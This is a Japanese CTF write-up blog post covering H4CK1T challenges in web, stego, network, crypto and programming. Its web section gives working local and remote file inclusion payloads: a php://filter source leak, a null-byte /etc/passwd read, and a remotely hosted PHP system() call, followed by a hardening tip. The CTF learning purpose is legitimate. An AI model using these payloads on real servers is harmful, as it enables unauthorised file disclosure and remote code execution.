こんにちは.たんごです.久々にCTFのWriteupを書きます.
H4CK1T CTF Onlineにチームg0tiu5aで参加していました.Web問を解いたのでそれのWriteupを載せておきます.
Remote pentest - Mexico - 150 - Web
Our foreign partners have some problems with qualified staff in the field of information technology, we decided to help them and to conduct remote testing of their new website. Your task is to find a hole in the system and grab some information to confirm the hack .Good luck ! http://91.231.84.36:9150/
とりあえず問題のページにアクセスしてみます.
aboutとかは以下のようになっています.
以下その他同様.調査したところ ?page=
で他のページを読み込んでいるのでは?と推測しました.そこでこんなときはPHPのfilterとか使ってソースコードを抜いてみます.
http://91.231.84.36:9150/index.php?page=php://filter/convert.base64-encode/resource=index
するとビンゴ. index.phpを抜くことができました.
<?php if ($_GET["page"]) { $file = $_GET["page"].".php"; // simulate null byte issue $file = preg_replace('/\x00.*/',"",$file); include($file); } else { echo ' <div class="container"> <div class="row"> <div class="col-md-6 col-sm-12"> <h1>The Big Picture</h1> ...
あからさまにディレクトリトラバーサル脆弱性がありますね.そこで ?page=/etc/passwd%00
とかをすると /etc/passwd
の中身が抜けました.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false rail:x:1000:1000::/home/rail:/bin/bash
しかしここから何をすればよいか悩みました.aboutやserviceなど思い当たる節のあるコードを全部抜いてみてもFlagはありません.ディレクトリトラバーサルだけではファイル名などがわからないため, 手詰まりしました.数時間悩んだあと Googleで php include vulnerability
とかで検索してみると
Exploiting PHP File Inclusion – Overview | Reiners' Weblog
というようなページが見つかります.どうやらリモートにあるファイルのコードをPHPは実行できてしまうみたいです.そこで以下のようなファイルを用意します.
<?php system('ls -la');
これをtest.txtとかに保存し自分の管理しているサーバーに適当に置きます.
次に ?page=http://<remote addr>/test.txt%00
にアクセスすると
total 116 drwxr-xr-x 5 root root 4096 Sep 23 22:31 . drwxr-xr-x 3 root root 4096 Sep 24 06:14 .. -rw-r--r-- 1 root root 133 Sep 23 22:31 .htaccess -rw-r--r-- 1 root root 817 Sep 23 21:03 .htaccess_kab -rw-r--r-- 1 root root 2631 Sep 23 13:26 about.php -rw-r--r-- 1 root root 2620 Sep 23 13:25 contact.php drwxr-xr-x 2 root root 4096 Sep 23 14:03 css drwxr-xr-x 2 root root 4096 Sep 23 14:03 fonts -rw-r--r-- 1 root root 2879 Sep 23 13:25 index.php drwxr-xr-x 2 root root 4096 Sep 23 14:03 js -rw-r--r-- 1 root root 67549 Sep 19 16:44 php.ini -rw-r--r-- 1 root root 2611 Sep 23 13:25 services.php -rw-r--r-- 1 root root 30 Sep 19 17:22 sup3r_$3cr3t_f1le.php -rw-r--r-- 1 root root 30 Sep 19 17:22 sup3r_$3cr3t_f1le.php
というような表示が出ました.あとは一番最後の怪しいファイル名にアクセスします.
http://91.231.84.36:9150/sup3r_$3cr3t_f1le.php
これでフラグが得られます.
Flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}
この脆弱性を防ぐには?
そもそも$_GET['page']
でページを切り替えるようなこと自体問題なような気もしますがこのような脆弱性を防ぐためには php.ini を書き換える必要があります.
allow_url_fopen=Off allow_url_include=Off
大抵デフォルトでこの設定になっているのでお外から読み込むことはできませんが...
capture_Paraguay - Hex0gator - 250 - PPC
PPC問です. 概要だけいうと適当に固められたファイルが有りそれらを100回解凍しつづけると最後にflagが出てきます.どっかで見たことのある問題形式ですね. これで250点(さっきのWeb問より配点が高い)という時点で得点配分がおかしい気がしますし, 100回なら手打ちで何とかなりそうですがPythonでスクリプトを書きましいた.結局のところ以下の3つしか出てきません.
- tar.gz
- rar
- zip
更に解凍すると work_folder
というディレクトリができ, その中にファイルが1つ生まれます.
書いたスクリプト:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import shlex import sys import subprocess import os import os.path def shell(cmd): p = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() return (stdout.decode("utf-8"), stderr.decode("utf-8")) def extract(f): file_type, err = shell("file %s" % f) if "Zip" in file_type: cmd = "unzip %s" % f elif "RAR" in file_type: cmd = "unrar x %s" % f elif "gzip" in file_type: cmd = "tar xvzof %s" % f else: sys.exit("Unknown file type: " % file_type) print(cmd) stdout, stderr = shell(cmd) if os.path.exists("work_folder"): return os.listdir("work_folder")[0] else: return False def move(f): os.rename(os.path.join("work_folder", f), f) if __name__ == "__main__": file = sys.argv[1] if os.path.exists("work_folder"): os.rmdir("work_folder") while True: f = extract(file) if f: move(f) file = f
実行:
$ python solver.py 100_00edb54bed7e46bd5cdb7c06059881c2 unzip 100_00edb54bed7e46bd5cdb7c06059881c2 unzip 99 unrar x 98 unrar x 97 unrar x 96 unrar x 95 ... ... ... ... unrar x 3 tar xvzof 2 tar xvzof 1 Traceback (most recent call last): File "solver.py", line 46, in <module> f = extract(file) File "solver.py", line 26, in extract sys.exit("Unknown file type: " % file_type) TypeError: not all arguments converted during string formatting
(最後がエラーなのは勘弁してw)
これでflagが出る
Flag: h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}
Crypt0P1xels - Algeria - 250 - Stego
from PIL import Image import random FLAG = '^__^' img = Image.open('original.png') img_pix = img.convert('RGB') x = random.randint(1,255) y = random.randint(1,255) img_pix.putpixel((0,0),(len(FLAG),x,y)) for l in FLAG: x1 = random.randint(1,255) y1 = random.randint(1,255) img_pix.putpixel((x,y),(ord(l),x1,y1)) x = x1 y = y1 img_pix.save('encrypted.png')
このスクリプトでFlagを埋め込んだらしい.特に説明することもないのでこれ通りFlagを取り出すスクリプトを書く.
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from PIL import Image flag = "" img = Image.open("encrypted.png") img_pix = img.convert("RGB") len, x, y = img_pix.getpixel((0, 0)) for i in range(len): f, x1, y1 = img_pix.getpixel((x, y)) flag += chr(f) #print(flag) x, y = x1, y1 print("h4ck1t{%s}" % flag)
Flag: h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R3}
RTFspy - China - Stego - 150
解凍すると不完全なRTFファイルが出てくる.調べてもよくわからなかったが中にどう考えても89 50 ...で始まっていることからPNGファイルだと思って当たりをつけた.その部分を抽出して画像を生成すると以下のような画像が生まれる.
この画像pngcheck
等でみるとIENDのあとにも追加でデータがついているらしいので適当に抽出するとflag.txtが出てくる.
Flag: h4ck1t{rtf_d0cs_4r3_awesome}
p13c3 0f c4k3 - Argentina - Network- 100
pcapファイルが与えられます. Wiresharkで開いてFTPプロトコルの中身を覗くとパスワードがやり取りされているのを発見できます.
Flag: h4ck1t{i_G07_ur_f1l3s}
7r0ubl3 - Greenland - Network - 200
ネットワーク問題2問目です. Wiresharkで開いてみると色々なやり取りをしていることがわかります.どこでフラグを送り合っているのかわかりません. こんなときはWiresharkの統計機能を用いてプロトコル階層を開いてみます. するとFTPでやり取りしているところが見つかりました.
あとはWiresharkのフィルターにftp-data
と入力しsecret.zipを抜きます.展開したsecret.txtは以下のような感じでした.あとはPythonで適当に文字列に直します.
68 34 63 6b 31 74 7b 73 30 5f 33 34 73 59 5f 46 6c 34 67 5f 68 75 68 7d
Flag: h4ck1t{s0_34sY_Fl4g_huh}
Interceptor - Portugal - 95 - Crypt0
Evil_Interceptor_Dump_v_1.12 { { E=3 N=770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347 C=258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227 }, { E=3 N=106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301 C=82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402 }, { E=3 N=982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611 C=22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450 } }
上のようなファイルが渡されます.e, n, cがあることからRSA暗号では?という予想を立てました.次にRSA暗号ならNを素因数分解できればp, qが求められ平文が得られるなと考えますが, Nは600ビット以上あり素因数分解するにしてもかなりの時間がかかるのではないか? と予想されます. そこでRSAの脆弱性等を調べているとinaz2さんのブログに有効そうな攻撃法を見つけました.
Håstad's Broadcast Attack 同一の平文mを異なる公開鍵nで暗号化した暗号文cをe個得られるとき、中国の剰余定理を用いてmを求めることができる。 同報通信あるいは同一平文の問題とも呼ばれる。
これをそのまま用いて実行してみると以下のような数が得られます.
0x6b65793d6266663134396130623837663562306530306439646433363465396464616130
あとはこれをASCII化してみます.
$ python -c 'import binascii; print(binascii.unhexlify("6b65793d6266663134396130623837663562306530306439646433363465396464616130").decode())' key=bff149a0b87f5b0e00d9dd364e9ddaa0
Flag: h4ck1t{bff149a0b87f5b0e00d9dd364e9ddaa0}
HellMath - Mongolia - 100 - PPC
C = AB の形式であるのでAとBを求めよ.という問題です
単純に因数分解してA, Bの形になるように整形すればいいと思いました.そこでsageにあるfactor()
を使って因数分解し, うまいこと調整するようなコードを書きました.
#!/usr/bin/env sage -python # -*- coding: utf-8 -*- import socket import struct import sys import telnetlib import logging from sage.all import * def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def recvuntil(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def factoring(ff): fl = list(factor(ff)) if len(fl) == 1: return fl[0][0], fl[0][1] A, B = 1, fl[0][1] B = min([b for _, b in fl]) for a, b in fl: A = A * (a**(b/B)) return A, B def main(): if len(sys.argv) == 2: if sys.argv[1] == '-d': logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=logging.INFO) s, f = sock("ctf.com.ua", 9988) logging.info("[+] Connected to server") logging.debug(recvuntil(f, '?\n')) i = 1 while True: recv_data = s.recv(4096) try: c = int(recv_data[recv_data.rfind("=") + 3:]) except ValueError: print(recv_data) # Flag sys.exit(0) logging.debug(c) A, B = factoring(c) ans = "%d %d" % (A, B) logging.info("%d:%s" % (i, ans)) s.send(ans + "\n") i += 1 if __name__ == "__main__": # 968^418=(2^3 * 11^2)^418 #ff = 1247094474231383294554124128974274939756386087161528291433810388042237686175064980987996972824045914787791320299438848954257287387099771935782025530661114642305910118355152466252028786913790908624490573752635575269776276765269020986943973083032713239156922381339024647408973557466806254263045837553681920779152757527332753739957841654898495480024758782984272202077028127065481148847220018274130810931172955702437640843947368908130076154683163947930705907958229372550843064747603729264290251231257014332433517325996099437677984266904414776452291176006204708809531189490388960841431578363489593190808608973232445359033700252860254934138468118864396577430481235876499585432439847253924408815299365225423434001263771407673018289686352451814570333942567256265832896734178178213522694266168364038671157293015283661243107187568796672234662290517673769491445467914007789504574993491234368363870132205634421950046427936881316226574156770397637795244965713448135533305789520675607032441578815793013700642361322261993795511203887520651032929927993702204493323845611748971672733736708917635209587169036657077121699588880706034796201752679702869190971984450123646501803255028028954850612141993662881570143311500926144739620990019574731923438079270854231247028224 #print(factor(ff)) #print(factoring(ff)) main()
このスクリプトには正しい回答を得られない入力例があって, それはコメントアウトしているff.多分Bを求めているときに今のところ適当にminを求めているが最大公約数を求めるようにすればいいのかな?と思ったが面倒くさくてそこまでやってないw
うまく実行すると以下のような感じになってFlagが得られる.
$ ./HellMath.py -d INFO:root:[+] Connected to server DEBUG:root:Hello, stranger! In this task you must solve 100 math questions. Every task prints value C, where C = A ^ B , and you need to return A and B. Simple, isn't it? DEBUG:root:3602120978561265899079558732906334111474284447467663931086099803444060396006274633462685590544336760607062043207655465949321908033116321555497473533567084564386129345895655622510396281950441025419585281293200850987804918395260019463650462631013053750821403103789903183836707573119689745802881161983789791782448636008906490516348645416841044802764347283963683851614480040198386940592466213936852677956316547586277779707980970059784772142551592447412845428715740305671535075229210433952193247596349170828133300968980161003033685453045390635581004673476166694996246662811748786727883251767678424528758520838235158435332710493165291221316928663147836200004516065969546717389781173313307601377597081627783832225295126928505050648308292226893349572311422523991695860273048504193455458846013882056657396415338500074487640933830540607058988122707438633595223869326431256867797864317845893559278621507305865017613797981179600554176089115590656 INFO:root:1:716 327 ... INFO:root:98:471 812 DEBUG:root:162445900438200788543308189750414460282708052587387185907732275659729855525722681588209339741077245936964322762691337862310238950208426899812288791062231159367250607677703651524878583268369340905688397052377106328598912232934637565850455722469933096504541147441852845179242892926505935862146299984726815358305903637572527732300690442158058544079307547237282592555782862790270896114635520366057807980015272831540334526143488011924999281682303730658999139163689313645066876091151313476370958173356297255805698548467719019506379853313079452179356261047112417208266936747220983152165829118679243987125950915683406863585003373542617975750226440773326685652022550242971822372717801583296388596016191882892328186083691550419023010774344769822760136971013922949422228008466956533343066230609211602352834958043517403093161966582657966454443616729107369407700251678617229091888613473416151967049702128309187562333110774327988243531410315982651347510876443569109610318359927396862143210305112957909659993557410311797947879106202177198835837420796304612850885029708235042806175550598772074064621370457007644197037974042377374126042509393791170514364049846179986542182618439016023592746672935317497780200252232649521344895316250641 INFO:root:99:241 511 DEBUG:root:244488784110853611776707144376412626216867434189925014811643326345233313744237371497639868179423746422775339492026650740202886873229211386525089227049272040516566925077283501923804446592094785410323555210808462198069970020749779232155185481649545994150169810032075836177390176560849535777075868767708646909376523527247038663763684160726285648823279448757926290850104063946286294088645558895934554811627037391484679988580694668505973278974167802680128954719320914298995830096529621517393081390755996934374846566716015609994470409140404736967658699664858106347338277924626366394111044930261748379271488234148231905146950864830865739866132141399462524747368696560473237712456940949732477502846810944570272177158022668660538655148786485129772220686102137892259697590782787850437449757868645121681834466522578024801992438120187285888071658776762942412673676428004395129661365387315974589717294749106659414026485120826859354320349050673200354901153062463771198127339250643423212413540426746604351374491781078867567674141615734069545382573985008226267820977566243148403305620539941885865879613571230082764292822235493719707193559560519794825044189455179151831076873493568002631074994121369948001860850525329188630603460930912898080937963693904915616482253164771976018714630281400995185878795840351173457260429533320019019972625318386068354482038027012008411880620416064399983276541377018632826895358161566375494391944626507737167036416 INFO:root:100:246 597 h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}
Flag: h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}
この問題の良くないところは入力の仕方が書いていないところ. 結局チャット内を検索すると同じことを質問している人がいてそれで解決しました.
まとめ
このCTF, 個人的には何でこの問題がこんな点数なの?みたいなのがあったりしましたが一番最初のWeb問題で久々に勉強になったなと言う気持ちなので楽しいCTFでした.ただCTF期間中ずっとスコアサーバーが重くてやる気が失せるみたいなことも多くあったのできちんとスコアサーバーのインフラ周りもやってほしいなと思いました.
私は基本的にどの問題ジャンルも目を通すようにしているので今回のCTFは幅広く解くことができてよかったですが, 色々ガバガバなのはなんとかしてほしいです. あと, はてなブログの予約投稿を使っていたのですがこのCTFが時間延長になってしまい(スコアサーバーには載ってない?)このエントリをまだ終わっていないのに出してしまいました.関係各位申し訳ないです.